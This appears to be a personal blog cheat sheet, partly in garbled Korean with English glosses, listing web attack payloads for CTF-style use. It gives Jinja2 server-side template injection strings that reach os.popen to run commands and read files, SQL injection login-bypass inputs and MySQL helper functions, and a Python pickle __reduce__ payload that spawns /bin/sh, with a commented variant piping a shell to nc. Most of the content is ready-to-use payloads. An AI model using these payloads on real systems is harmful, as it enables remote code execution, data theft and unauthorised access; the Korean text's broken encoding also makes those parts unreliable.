post will be frequently updated

SSTI (Server Side Template Injection)

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ์›น ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ Template Engine์—์„œ ๋ฐœ์ƒํ•˜๋ฉฐ, ํŠน๋ณ„ํ•œ ๊ตฌ๋ฌธ์„ ํ†ตํ•ด RCE๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜๋„ ์žˆ๋‹ค.
This vulnerability occurs in various Template Engines used in web frameworks, RCE and can also be triggered through special syntax.

โ–ถ jinja2

# ๊ธฐ๋ณธ
{{ 4*4 }} => 16

# check with config
{{ config }}
{{ config.items() }}
{{ config['secret_key'] }}

# RCE with config
{{ config.__class__.__init__.__globals__['os'].popen("ls").read() }}
{{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}

# etc ('',(),get_flashed_messages, url_for, ...)
{{ ''.__class__.__mro__[1].__subclasses__()[**index**]('cat flag', shell=True, stdout=-1).communicate() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/flag").read() }}
{{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls -al").read()') }}
# with request - ํ•„ํ„ฐ๋ง์ด ๋งค์šฐ ๋งŽ์„ ๊ฒฝ์šฐ more query + request๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์šฐํšŒ
http://foo.bar/?payload={{ request|attr('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}


SQLI (sql injection)

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ DB๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ SQL ์ฟผ๋ฆฌ๋ฅผ ์ „๋‹ฌํ•  ๋•Œ ์˜๋„ํ•˜์ง€ ์•Š์€ ๊ตฌ๋ฌธ์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ณ€์กฐ์‹œํ‚ค๋Š” ๋ฐ ๋ชฉ์ ์ด ์žˆ๋‹ค.
The vulnerability is aimed at modulating the DB management application to deliver unintended phrases when delivering SQL queries.

1. Comment symbol

  • /* ~ */, -- ~, # (URL encoded : %23)
-- example.
Select * from tbl where id='(user_input)'

-- Select ALL query from tbl
user_input="' or 1=1-- " => Select * from tbl where id='' or 1=1--'
user_input="' or 1=1#" => Select * from tbl where id='' or 1=1#
user_input="' or 1=1/*1234*/" => Select * from tbl where id='' or 1=1/*1234*/' ...?
(must have closed symbol)

2. with single quarter

  • id๊ฐ€ ''๋กœ ๊ฐ์‹ธ์ ธ ์žˆ์„ ๊ฒฝ์šฐ '๋ฅผ input์œผ๋กœ ๋„ฃ์–ด ๋จผ์ € ๋‹ซ์•„์ฃผ๊ฒŒ๋” ํ•œ ๋’ค ์กฐ๊ฑด๋ฌธ์„ ์ด์–ด์ค€๋‹ค.
-- example.
Select * from tbl where id='(user_input)'

-- Select ALL query from tbl
user_input="' or 1='1" => Select * from tbl where id='' or 1='1'

3. and, or, &&, ||, in, between, like

-- and, or
Select * from tbl where id='1234' and pw='5678'
Select * from tbl where id='1234' or pw='5678'

-- &&, || (no space required)
Select * from tbl where id='1234'&&pw='5678'
Select * from tbl where id='1234'||pw='5678'

-- in
Select * from tbl where id in '1234' and pw in '5678'

-- between and (both number and char are possible)
Select * from tbl where age between 20 and 30 -- 20<=age<=30
Select * from tbl where score between 'A' and 'C' -- 'A'<=score<='C'

--like (starts with ~, ends with ~, include ~, length)
Select * from tbl where name like 'Bae%' -- starts with Bae
Select * from tbl where name like '%uk' -- ends with uk
Select * from tbl where name like '%won%' -- include won
Select * from tbl where name like '___' -- length 3 chars
Select * from tbl where binary name like '~' -- distinguish upper/lower

4. Internal function in mysql

  • char(...) : change integer arguments to char (ex. char(0x61,0x62,0x63)=>"abc")
  • mid/substr[ing](a,b,c) : get c bytes in a from b(starts from 1 ~ ..)
  • left(a,b) / right(a,b) : get b bytes in a (begin / end(reverse but print correctly))
  • version() : get mysql version
  • database() : get current database


python pickle deserialization

pickle๋กœ ์ง๋ ฌํ™”๋œ ๊ฐ์ฒด๊ฐ€ ๋ณ€์กฐ๋˜์–ด ์—ญ์ง๋ ฌํ™”ํ•˜๋Š” ๊ณผ์ •์—์„œ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์˜๋„์น˜ ์•Š์€ ๊ฒƒ์ด ์‹คํ–‰๋˜๊ธฐ๋„ ํ•œ๋‹ค. ์›ํ•˜๋Š” class๋ฅผ ์„ ์–ธํ•œ ๋’ค, __reduce__๋ฅผ ํ†ตํ•˜์—ฌ pickle.loads ํ•จ์ˆ˜์—์„œ unpickle ์‹œ tuple์„ ๋ฐ˜ํ™˜ํ•˜์—ฌ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

import os
import pickle

class payload(object):
  def __reduce__(self):
    #return (os.system, ('ls', ))
    #return (os.system, ('cat flag', ))
    return (os.system, ('/bin/sh', ))
    #return (os.system, ('/bin/sh | nc [ip] [port]', ))

pickle_d=pickle.dumps(payload())
pickle.loads(pickle_d) # get shell anyway
$ id
uid=1000(test) gid=1000(test) groups=1000(test)

update ์˜ˆ์ •.

Categories:

Updated:

Leave a comment